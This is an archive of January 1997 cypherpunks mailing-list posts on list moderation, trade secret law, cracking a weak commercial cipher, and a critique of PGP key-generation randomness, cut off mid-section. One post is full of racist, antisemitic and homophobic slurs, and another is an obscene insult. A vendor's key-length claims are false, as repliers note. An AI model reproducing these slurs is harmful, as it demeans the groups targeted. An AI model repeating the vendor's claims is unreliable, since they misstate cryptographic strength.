Message-ID: <199701101909.OAA12397@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
Homepage:www.geocities.com/~pentiumru/icehtml.htm
We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Fri, 10 Jan 1997 08:46:30 -0800 (PST)
To: "Igor Chudov" <mycroft@actrix.gen.nz
Subject: RE: encryption program
Message-ID: <n1359225878.73908@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm looking for ciphertext analysis tools --

What analysis tools did you use?  Where can I get a publicly available copy?

Thanks!

PM




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 10:06:51 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: sendmail-type thing for Windows
Message-ID: <199701101800.MAA00342@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Does anyone know of a simple program for windows that can, like
sendmail, work as a mail agent ans send mail messages from its stdin? I
am interested in sending email messages from Windoze boxes as part of
some automated process driven by .BAT files.

i.e., what I need is a program that I could invoke like this

DOS> sendmail some@address.com
From: sender@originator.com
To: some@address.com
Subject: hello

hello




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 10:04:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: would you be my friend?
In-Reply-To: <5b540n$kmr@news1-alterdial.uu.net>
Message-ID: <7TRB1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


dozer@netwizards.net writes:

> Hello,
> 
> I'm 14 years old and I think I may be a gay.  I'm looking for some support an
> with a older male age 18-40.  Please email if you can help.
> 

I'm sure you'll make lots of friends on the cypherpunks mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Thu, 9 Jan 1997 19:07:23 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <970109201419_1207964145@emout18.mail.aol.com>
Message-ID: <19970110030634.28720.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


> Comment: "What kind of industry standard is IMDMP above?"
> Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
> 128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?
> 

Eew. Love those asymetric vs symetric key length comparisons.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 12:36:39 -0800 (PST)
To: ericm@lne.com (Eric Murray)
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <199701101717.JAA31508@slack.lne.com>
Message-ID: <199701102013.OAA01362@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Eric Murray wrote:
> snow writes:
> > > Also: The AOL web site address my company has may not always work out when
> > > the server is having problems or user overloads. Please try again later.
> > > Again, the web site address for UDCM, Universal Data Cryptography Module, is:
> > > http://members.aol.com/DataETRsch/udcm.html.
> > 
> >      For $100 up front, and about $40 a month you can get a real domain name
> > and virtual domain that doesn't have a problem with "user overloads". If 
> > you are so high tech, why are you using AOL for a WEB SERVER? (this is a 
> > seperate issue from using it for _access_)
> 
> You would think that a company that could issue "$1,250,000 in collateral
> backed zero-coupon bonds" would be able to afford a real web site.

Mmmm... What is the collateral? Intangible assets like distribution roghts?

Also, this guy's web site is totally fucked up -- the lines in 
http://members.aol.com/dataetrsch/public/udcmv20b.txt are
very long and browsers are not supposed to wrap them.

I am also wondering, I am listed as visitor 189 on his web site. Under
most optimistic assumptions, if *every* visitor bought his product, he would
have made $40*188 = $7520.

A good money, no doubt, but to issue $1,250,000 worth of *zero-coupon* 
bonds?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 12:47:04 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <ZBFB1D46w165w@bwalk.dm.com>
Message-ID: <32D6C590.2E9F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> *IF* this list is to be moderated, then Unicorn and Plucky Green have
> to banned from it - unless their real names are revealed.
> 
> OK, let's guess one letter at a time. Does your last name start with 'M'?

  God, I love good cryptoanalysis.

  I ran my 'JewFinder' program on their posts and found out that Plucky
Green's keystrokes have pork residue on them, while Black Unicorn's
do not.

  'HomoPhobeII' reported that both are wearing pants with sperm stains
of other people on them, but Black Unicorn bought his pants at the
Sally Ann Thrift Store, so it classifies him only as a 'possible'
Not-Macho-Like-Me.

   'ColorBooKKK' reported that 'Black' Unicorn's lack of Ebonics in
his postings means he probably just a Nigger-Lover, and not actually 
eligible for a special education grant.  It suggests that Plucky
Green is either Irish, or needs to quit 'plucking' it, so that it
won't turn green.  

  A check of plaidworks.com reveals that both Black Unicorn and
Plucky Green are both subscribed to all 1,000 of their sports lists,
as of noon today.
 (However, since I found out that myself and all the CypherPunks
were subscribed at the same time, this may not have much meaning).

  My own careful study of the printouts of their postings reveals
that both printouts are in black ink.
  I will give this glaringly obvious similarity close scrutiny,
and report back with my conclusions.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 10 Jan 1997 13:19:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
In-Reply-To: <199701101642.KAA11229@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970110160940.705A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 10 Jan 1997, Igor Chudov @ home wrote:

> I just wrote a little c program for frequency analysis, but would
> also be interested if such set of tools existed.

There are several tools for cryptanalyzing simple ciphers at ftp.ox.ac.uk/pub/
crypto/cryptanalysis and ftp.replay.com/pub/crypto/applied-crypto .  There
is also elisp code distributed with emacs that can solve a substitution
cipher.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtazUyzIPc7jvyFpAQGlzwgAhIPeDD93yR3K/S2SPJGqA8BtzC4ydOKQ
MNqFYNsNqMZEeCJgpxNGQMH4fAYF/cWYOw29sT984OAIwqcqBooK7oYKg5oSfaaD
k5ko+0edqE6im1omV5GPgrlMlcbjun+QADxjzQss2ZJnVa52G2iyGYLLZa9wTgfM
AR48vO19sOx15BdWcYC0hTbG/iiriOhGXXbtnES8XgmNSMGDmr035YV1fcZMTXnT
7Yc9uU0K0jgqbMZ1uyX6Cs/m7bauFu6MK3g2jKSYMZ4flPimOqKCJcz544/3aI0s
5zoDVWvpzD370aSPpLMfDPaj+BrJMHZwN7LLjerXEpMHU9fIyApiUg==
=/Onu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Fri, 10 Jan 1997 16:23:52 -0800 (PST)
To: Greg Broiles <gbroiles@c2.net>
Subject: Re: Trade secrets / moderator liability
In-Reply-To: <3.0.32.19970109151839.006b554c@gabber.c2.net>
Message-ID: <32D6E00F.2855@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> 
> As reported by Michael Froomkin's correspondent, the Uniform Trade Secrets
> Act <http://www.execpc.com/~mhallign/usta.html> (enacted with local
> modifications in, as I understand it, 40 states, among them California)
> says that third parties may be held liable for misappropriation of a trade
> secret where the third party knows or has reason to know that they are
> doing so.
> 
> For example, California Civil Code section 3426.3 says:
> 
> 3426.3.(a) A complainant may recover damages for the actual loss caused by
> misappropriation.  A complainant also may recover for the unjust enrichment
> caused by misappropriation that is not taken into account in computing
> damages for actual loss.
>         (b) If neither damages nor unjust enrichment caused by misappropriation
> are provable, the court may order payment of a reasonable royalty for no
> longer than the period of time the use could have been prohibited.
>         (c) If willful and malicious misappropriation exists, the court may award
> exemplary damages in an amount not exceeding twice any award made under
> subdivision (a) or (b).
> 
> And misappropriation is defined in California Civil Code section 3426(1)(b)
> as:
> 
> (1) Acquisition of a trade secret of another by a person who knows or has
> reason to know that the trade secret was acquired by improper means; or
> (2) Disclosure or use of a trade secret of another without express or
> implied consent by a person who:
>    (A) Used improper means to acquire knowledge of the trade secret;
> or
>    (B) At the time of disclosure or use, knew or had reason to know that
> his or her knowledge of the trade secret was:
>    (i) Derived from or through a person who had utilized improper means to
> acquire it;
>    (ii) Acquired under circumstances giving rise to a duty to maintain its
> secrecy or limit its use; or
>    (iii) Derived from or through a person who owed a duty to the person
> seeking relief to maintain its secrecy or limit its use; or
>    (C) Before a material change of his or her position, knew or had reason
> to know that it was a trade secret and that knowledge of it had been
> acquired by accident or mistake.
> 
> My other concern about moderator liability for approving/distributing trade
> secret material is in the criminal context. For example, the Economic
> Espionage Act of 1996 (HR 3723, now found at 18 USC 1831 et seq,
> <ftp://ftp.loc.gov/pub/thomas/c104/h3723.enr.txt> ) says that some trade
> secret violations are now a federal crime; and California Penal Code
> section 499c(b) also criminalizes some wrongful acts relating to trade
> secrets. Specifically, I think it's feasible to find aiding & abetting
> (and, more remotely, conspiracy) liability where a moderator knowingly and
> substantially contributes to public disclosure of a trade secret.
> 
> It seems to me that there's a murky middle period, where the trade secret
> is known to some wrong people, but is still substantially a secret, where
> third party liability is present. But once a wide distribution of the
> secret is made, I don't think it's meaningful to talk about further
> distribution as misappropriation. If there's no common-sense "it's no
> longer a secret" safety valve, trade secret would provide time-unlimited
> protection to publically available information, which I think would be
> preempted by (or frustrate the purpose of) Congress' limited grants of
> protection to information via patent and copyright. But this is only my
> conjecture about how things ought to work, given the responsibilities
> created for third parties by statutes like the UTSA; I don't know of cases
> on this issue and given my work/bar review schedule, won't have time to
> find them any time soon.
> 
> Also, as I mentioned in my previous message, I think there are good
> arguments that neither of the prominent trade secret disclosures I'm
> familiar with that have occurred (in part) via the list would create
> moderator liability. I'm mentioning moderator liability (and writing what's
> turning into a long message about it) not because I think it's an
> especially big danger but because I think it's an interesting public policy
> issue.
> 
> I don't have the teeniest clue how other nations' laws might treat third
> parties who assist or enable the wide dissemination of trade secret
> materials. Perhaps other list members can offer a local perspective.
> 
> --
> Greg Broiles
> gbroiles@c2.net
> 510-986-8779 voice
> 510-986-8777 fax


So YOU think the moderator of the list should be held responsible?  You
say it is an interesting public policy issue....mmm..I guess for
bootlickers who want to control the flow of data freely in the public
forum......Nay I say...it is ridiculous to even think that.  The
moderator is providing a platform for other people to converse.  And
since this is an UNMODERATED group...mmm??...Besides....I guess your not
very familiar or even sympathetic to the hacker's creedo are you? 
Knowledge is power....and if only the few have power...well..no checks
and balances...

If a company is worried about thier special little secret...well..it's
there damned responsiblity to make sure it stays a secret...and well if
it gets out...ie...they were stupid enough not to have the appropriate
security measures...well..I guess it would no longer be a secret then,
correct?  Man..can't anyone take responsibility for thier own actions
anymore??  

What the fuck is wrong with this country??....Land of the free??...YEAH
RIGHT!!????

BAH HUMBUG.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Thu, 9 Jan 1997 21:11:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
In-Reply-To: <199701090132.TAA28002@manifold.algebra.com>
Message-ID: <199701100342.QAA20144@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997 19:32:20 -0600 (CST), Igor Chudov wrote:

   Cypherpunks, why don't we try to crack his encryption program? It seems
   like a fun exercise.

Well, a few minutes looking at it turned up the following:

* Capitalisation and word lengths are retained in the ciphertext, so
  there's no transposition involved (or he's being sneaky to make it
  look that way :-) )
* The two 'e's in the first word have different ciphertext equivalents,
  so it's not a single-alphabet substitution
* The words "wjq nwcc" occur together twice, 300 characters apart,
  the word "iyn" occurs three times, 375 and 300 characters apart,
  the word "fhw" occurs twice, 1400 characters apart, and
  the word "git" occurs twice, 500 characters apart.  This suggests
  a repeating key of length 5 or 25 characters.
* However, the letter 'r' in "Here" and "encryption" and the letters
  'am' in "example" and "program" occur 25 characters apart and have
  different ciphertext equivalents.  Possibly the key position is
  being incremented when "encrypting" digits and other non-alphabetic
  symbols, so my counts above (only letters) are wrong.

Also, I suspect that in the following ciphertext, EJMDLH.WKN and
ZFIYVZ.XGA are "CONFIG.SYS", KALMF is "FILES" and "ZPKQUST" is
"BUFFERS".

   ##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
   ##> 
   ##>       KALMF=20
   ##>       ZPKQUST=20
   ##> 
   ##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Life is a POPULARITY CONTEST!  I'm REFRESHINGLY CANDID!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Wuertele <dave@cave.gctech.co.jp>
Date: Fri, 10 Jan 1997 00:31:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES   Challenge)
In-Reply-To: <199701082322.XAA09234@brd.ie>
Message-ID: <ygepvzej5kl.fsf@cave.gctech.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


"Frank O'Dwyer" <fod@brd.ie> writes:

> However, what if there was a safe scripting language with bignum
> arithmetic and other cryptographic primitives, and what if
> lots of people ran a service that would accept scripts in 
> that language and respond with the answer?  Say, a Safe-TCL 
> interface to Peter Gutmann's cryptlib, running at idle 
> priority?  Sort of like a distributed batch queue, and also 
> a bit like the way jobs are (were?) submitted to Crays.  The 
> Cypherpunks Super Computer. It need not be significantly slower 
> than raw code if the primitives are high level enough.

Perl 5.0 has a better, simpler, safety mode than Java (and probably Safe-TCL
too), and runs on more machines.  It is also the standard for CGI, so anyone
already running CGI could simply add a perl-based crypto service.

Dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Fri, 10 Jan 1997 17:55:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STEGO] Goppa codes
Message-ID: <199701110141.RAA26832@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[unt] Mayonnaise was born when his mother 
was on the toilet.

  .  ___ o Timothy C[unt] Mayonnaise
  ^z\/o\ o
  ^z/\_~_/
  '   '





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Fri, 10 Jan 1997 14:43:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES 128
Message-ID: <970110173243_2022167725@emout04.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


DES 128 is a cloned version of the original DES.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>isptv@access.digex.net
Date: Fri, 10 Jan 1997 14:44:17 -0800 (PST)
Subject: Bennet Haselton of Peacefire on ISP-TV "Real Time" Monday night
Message-ID: <199701102244.RAA07755@access1.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	"Real Time" Interview with Bennet Haselton
	Founder of Peacefire

***

*** Monday, Jan. 13  ***
*** 9:00 PM ET      ***

Bennet Haselton is the founder of Peacefire, a "teen Net anti-censorship
Alliance." He's an 18-year old student at Vanderbilt University, and has
recently been involved in a dispute with Solid Oak Software over their
product "Cybersitter." Haselton claims that he simply ran the software,
and found out that it blocked far more than just cyberporn, but also other
web sites such as the National Organization for Women. Solid Oak's Mark
Kanter says "There was no way he could have known who was on our list
without breaking into our system."

We'll talk with Haselton about Peacefire, the ethics of kid-proofing the
net with censorware, and perhaps hear his side of the Cybersitter dispute.

Call-in questions will be taken during the show at (301) 847-6571. 

****
"Real Time" Extra:  The MAE-East, up close and personal.  RT recently
traveled to the Mecca of the Internet, the MAE-East, a major Internet
peering point where over 50 providers continually exchange between 300 and
700 Mbps of data.  See what the GigaSwitches look like, marvel at the
power backup system, find out what soda cans technicians leave behind in
the MAE.  All this after the Haselton interview.
****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://www.digex.net/isptv/members.html. 

See URL http://www.digex.net/isptv for more information about the ISP-TV
Network

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Fri, 10 Jan 1997 14:47:15 -0800 (PST)
To: mycroft@actrix.gen.nz
Subject: Re: Re: encryption program
Message-ID: <970110173818_1890890811@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Was your anaylsis for IMDMP or another algorithm?

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 10 Jan 1997 16:12:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D1EA88.7C4F@gte.net>
Message-ID: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dale Thorn wrote:

> 1. Sandfort is the person who would never drop an argument, no matter
>    how long, until he had the last word.  I know since I went rounds
>    with him a time or two.  As far as I can tell (not being a profess-
>    ional psychologist), Sandy has some emotional limitations that would
>    make him a poor choice to moderate such an intense list as this.
>    Certainly the moderated list would still be quite intense, since
>    the intent is to be a political/social forum. Sandfort unfortunately
>    appears to be a special friend of Gilmore's, and I don't think John
>    has taken the time to consider the outcome.

Sandfort isn't the only one who will do this, there will be a pool of 
moderators. Regardless of your personality conflict, I am sure that Sandy 
will remain fair and allow appropriate posts from you through. i.e. 
anything to do with crypto. :)

 
> 2. The only possible scheme that could work long-term would be a moderated
>    list plus a deleted (excised?) list of posts which didn't make the
>    moderator's cut. Having a moderated list and a full unmoderated list
>    is certain to fail, and I'm not too sure that they don't have this in
>    mind already.

What makes you say that there is only one scheme that can succeed?  Why is
having a moderated list and an unmoderated list bound to fail?  The plan
actually (unless it changed without my knowlege) is to have 3 lists.  1
moderated, 1 rejects, 1 unmoderated.  This can be optimized as 1 moderated
and 1 rejects as you propose, since asking for all is the same as asking
for moderated+rejects. 

> 3. Not making the unmoderated list first-up (i.e., cutting posts first,
>    then making the "full" list available later) is suspicious, or at
>    least a bad idea.

What difference does it make if a message is delayed for 10-30 minutes?  
Why is it a bad idea or suspicious?  If you post something and it doesn't 
make it at all, you can complain about it.  Is that what you fear?

The point was to optimize the sendmail to send moderated messages first.

> 4. Moving everyone to the moderated list and then having people who want
>    the full list unsubscribe and resubscribe is more evidence of bad
>    faith.  If what Sandy says is true (I don't believe it), the vast
>    majority of posts (excluding obvious spam, probably 75 or more a day)
>    will be in the moderated list, therefore I think anyone can see that
>    merely cutting the spam and bad flames is not the ultimate intent.
>    To do that, all they would have had to do is announce a bucket where
>    they're dropping the excisions, and let whoever wants them to pick
>    them up from there. Maybe they thought that would make them look bad,
>    but before this is over (if they continue on their present course),
>    they're going to look much worse.


Bad faith comes from the thousands of unsubscrive and such messages 
posted here.  People have no clue as how to do things.

In the interest of cutting the crap off this list which has virtually 
brought the list down to its knees because of our friendly KOTM dude, it 
is best to bring a bit of civility here.  If people want to see crap, let 
them subscribe to it.

It's bad enough to have spammers and advertisers on a list, but if we have
the majority of the subscribers immune to their spams, the spam will die. 
If everyone had the ability to filter out commercials, especially the
annoying ones, advertisers would go away.  The difference here is that the
ads don't support the station with $, they flood it with crap which
alienates discussions. 

> I just can't believe Gilmore wants to have Sandfort do this.  There's
> gotta be someone he can trust who has a viable reputation.  Then again,
> who with a decent reputation would want to moderate cypherpunks?

You have a personal problem with Sandford, it doesn't mean that Sandy 
will be unable to be a perfectly able moderator.  I'm sure Sandy will do 
a fine job, but that is my oppinion and it doesn't match yours.  From the 
looks of it, it's more the case that this is a clash of egoes rather than 
a complaint about the moderation.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 10 Jan 1997 16:15:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: USENET: Critique of PGP Key Generation
Message-ID: <199701110014.TAA11807@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



>Newsgroups: comp.security.pgp.tech
From: chl@clw.cs.man.ac.uk (Charles Lindsey)
Subject: Critique of PGP Key Generation
Message-ID: <E3qsA1.49K@clw.cs.man.ac.uk>
Summary: The key generation process seems to be safe, but not so easily shown
	to be so.
Date: Thu, 9 Jan 1997 13:03:36 GMT
Lines: 325


		Critique of PGP Key Generation
		------------------------------

Key generation is probably the weakest link in PGP, or indeed within any RSA
system. Specifically, it is the one place where a supplier of a binary
version of the system could insert a Trojan Horse that could not be detected
by any feasible tests run on it.

For this reason, having just acquired a copy of PGP 2.6.3ia (that is 2.6.3
with Stale's patch) and being of a paranoid disposition (just as Phil
recommends we should be), I decided to inspect the source code for the Key
Generation part to see if it contained anything that might compromise the
security of the keys that are generated. For the record, I found nothing of
the sort. The code makes strenuous (even paranoid) attempts to be utterly
fair. However, I did uncover a few features which, under a false pretence of
adding extra security, actually made my task of finding the true security much
harder. So I thought it might be useful to document the whole process,
pointing out the (mis-)features that caused me concern.

Overview of key generation
--------------------------

First, you have to generate two random numbers. So, for a 512-bit key, say,
you generate two 256-bit randoms. Actually, it insists that the top two bits
of the numbers are '1', so you actually generate numbers in the range 
(2**255 + 2**254) <= p <= (2**256 - 1), so there are 2**254 possible numbers
obtained from 254 random bits.

THE WHOLE SECURITY OF THE SYSTEM DEPENDS ON THE FACT THAT THE PROGRAM MUST BE
CAPABLE OF GENERATING EACH AND EVERY ONE OF THESE 2**254 NUMBERS WITH
MORE-OR-LESS EQUAL PROBABILITY.

Next, from each random number, you generate a prime number. Starting from the
given number, you look at each successive number to see if it might be prime.
Well, obviously you only look at the odd ones, and in fact you only look at
every 4th number because it tries to create "Blum" numbers for some reason or
other. It uses a simple sieve to eliminate obvious cases, using a table of the
first 1028 prime numbers. Anything that survives the sieve is subjected to
Fermat's test (if ((x**(p-1)) mod p) != 1, then p is not prime) using
x = 2,3,5,7 (not a very original selection!). See the comments in genprime.c
for why this is considered more than a safe test. It insists that the two
prime numbers generated differ by at least 1 part in 128.

Next, you multiply your two (alleged) primes P and Q to give the modulus N,
and from P, Q and N the RSA public and private keys can be derived in the
standard manner. I estimate that for a 512-bit key there are 8*10**73 possible
primes P and Q, giving 1.6*10**147 possibilities for N. For a 1024-bit key,
these numbers are increased to 7*10*150 and 1.4*10**301. Which shows why a
brute-force attack on an RSA encription is not feasible.


Paranoia
--------

N is part of your public key. Anyone who knows P and/or Q knows your secret
key. Therefore, just in case an eavesdropper gets access to your hard disc or
to your RAM immediately after you have finished, all sensitive numbers (the
random numbers, P, Q, all the other components of your secret key, and your
pass phrase) are overwritten in memory at the earliest opportunity, and never
deliberately written to hard disc at all (but they might be swapped to disc at
some stage, so if you perform the operation on a discless workstation which
pages across some network, and a wily eavesdropper who just happens to know
you were generating your key at that time just happens to be monitoring your
ethernet, and if ... ). And any copies of your keyrings written temporarily to
your hard disc (even though they are encripted by IDEA by that stage) are
overwritten before being relinquished.


Random number generation
------------------------

But the whole system is only as good as its random number generator. It is no
use using a pseudo-random number generator starting from some simple 32-bit
seed (derived from the time of day, perhaps). That could generate, at most,
2**32 different keys (since pseudo-random sequences are deterministic and
hence reproducible). You need 512 genuinely random bits to meet the criterion
of being able to generate all possible 512-bit keys.

The system uses an array of (currently) 96 32-bit words (i.e. 384 bytes or
3072 bits) known as randPool, initially set to zero. The '96' is required for
technical reasons to be a multiple of 4; otherwise I should much have
preferred a prime number (such as 97). It proceeds by XOR-ing supposedly
random bytes into successive positions; in practice always a multiple of 4
bytes at a time (this is a Bad Thing) derived from some 32-bit word. Some of
these words are quite predictable, some are well correlated with other such
words, and some are more-or-less independent. THE CRUCIAL QUESTION IS WHETHER
A SUFFICIENT NUMBER OF THEM ARE TRULY INDEPENDENT, so as to ensure the required
number of truly random bits.

A certain pattern of such words (examined in detail below) is XOR-ed in
repeatedly (typically for 73 cycles when generating a 512-bit key). When
randPool has been filled in it wraps around. But this could mean that the same
positions in the pattern are being XOR-ed on top of themselves, which is why I
would have preferred a prime number for the size of randPool, and why I would
have preferred the pattern itself not to have been a multiple of 4 bytes. Now
actually this problem should not matter, because the randPool is "stirred"
between each cycle, and if the stirring is as effective as claimed it makes
all the bits totally "forget" where they were. But I believe that this is a
case where "not only should security be achieved, but security should be SEEN
to be achieved". Stirring is described below.  Typically, in a UNIX system,
the randPool will be stirred and wrapped 11 times when generating a 512-bit
key.

Sources of randomness
---------------------

At this stage, the system tells you to type at random on your keyboard,
informing you that it is going to "measure the time intervals between your
keystrokes". This is not quite true. The actual behaviour is somewhat complex
but you do get, for each keystroke, a cycle of words XOR-ed into randPool, as
described above. It would be a good idea to vary your rate of typing in a
random manner - following the rhythm of a tune such as the William Tell
Overture should generate plenty of randomness (but now I have said that,
please choose your own tune in case some wily eavesdropper now does a
statistical analysis of William Tell).

Different systems behave differently at this point, but they all assume that
some form of "tick" is generated by the operating system for use for timing
processes, giving the time-of-day, etc. In UNIX systems, there are two ticks:
one fine tick (possibly every microsecond) derived from the real-time quartz
clock for time-of-day purposes and one coarse tick (typically every 10
milliseconds) for timing processes (each time this tick occurs there is an
interrupt, and whatever process is running at that moment is credited with
10msec of CPU time - or something like that). Since the random number
generation works by counting ticks, it is important to know how coarse the
ticks are.

All systems start off the same way (see noise,c):

A.  A call of clock(). Gives (supposedly) the number of microseconds of CPU
    used in this process. But it usually relies on a coarse tick (in Solaris
    it is always a multiple 0f 10000). Moreover it increases monotonically
    with successive calls, and successive calls frequently return the same
    value (this part of the process is not CPU-intensive). NOT a good source
    of randomness.

B.  A call of time(). Gives the number of seconds since Jan. 1st 1970. Even if
    the wily eavesdropper is not online to know the exact time you generated
    your key, the date on which you generated it is indeed public knowledge.
    Again, it increases monotonically and slowly (this phase of the process
    should take no more than half a minute all told). NOT a good source of
    randomness.

Now we need to distinguish between different systems.

1) MSDOS

C.  A call of pctimer0(). Seemingly this gives an unsigned (hopefully 32 bits)
    taken from a clock ticking every .84 usec (but you will not get .84 usec
    resolution).  But, apart from being monotonic, the values returned should
    be as random as your typing.

2) MAC

C.  A call of TMTicks(). Again an unsigned long and presumably as random as
    your typing.

3) Win32 with the Microsoft compiler

C.  A call of QueryPerformanceCounter(). An unsigned (hopefully 32 bits) and
    presumably as random as your typing.

4) VMS

C. A call of SYS$GETTIM(). A unsigned long divided by 100000 (supposedly the
    ticks per update). Presumably as random as your typing, but you will not
    get much randomness unless you type rather slowly.

5) AMIGA

C.  A call of either ReadEClock() (the low-order 32 bits) or am_GetSysTime()
    (32 bits of seconds - presumably since 1970 - and 32 bits of
    microseconds). With am_GetSysTime() the seconds since 1970 is pretty
    useless, since we already had those bits under 'A.'. I could believe the
    microseconds or the output of ReadEClock().

D.  16 bits of additional noise from the video beam position. Neat!

E.  The ExecBase dispatch count, whatever that is.

6) ATARI

C.  A system call giving the 32-bit output from a 200Hz counter and 32 bits
    from a 50/60/70Hz Vertical BLank counter. Under the Pure C compiler, only
    the second of these is taken (the first is said to give the same as the
    earlier call of clock()). Coarse as these ticks are, they can still give
    true randomness if called often enough.

7) UNIX
This is the system I have studied most intensively. It calls every system call
it can think of (and would have called the kitchen sink too, had it been
available). As I will show, this just creates FUD rather than randomness.

C.  A call of gettimeofday(). This returns two 32-bit words. The first is just
    the seconds since 1970 which we have already had, so it adds nothing new.
    The second is the number of microseconds since the last full second. This
    should be based on a fine tick size, and is therefore as random as your
    typing, but it is the only source of true randomness that I would trust
    from the UNIX systems.

D.  A call of times(). This gives 4 32-bit words:
    D1. The number of coarse ticks in this process. Typically this is one byte
        increasing monotonically but slowly. Useless as a source of
        randomness.
    D2. The number of coarse system ticks on behalf of this process. Increases
        perhaps twice as fast as the previous, but still useless.
    D3. The number of coarse ticks by children of this process. Always zero,
        because PGP never forks.
    D4. The number of coarse system ticks by children of this process. Also
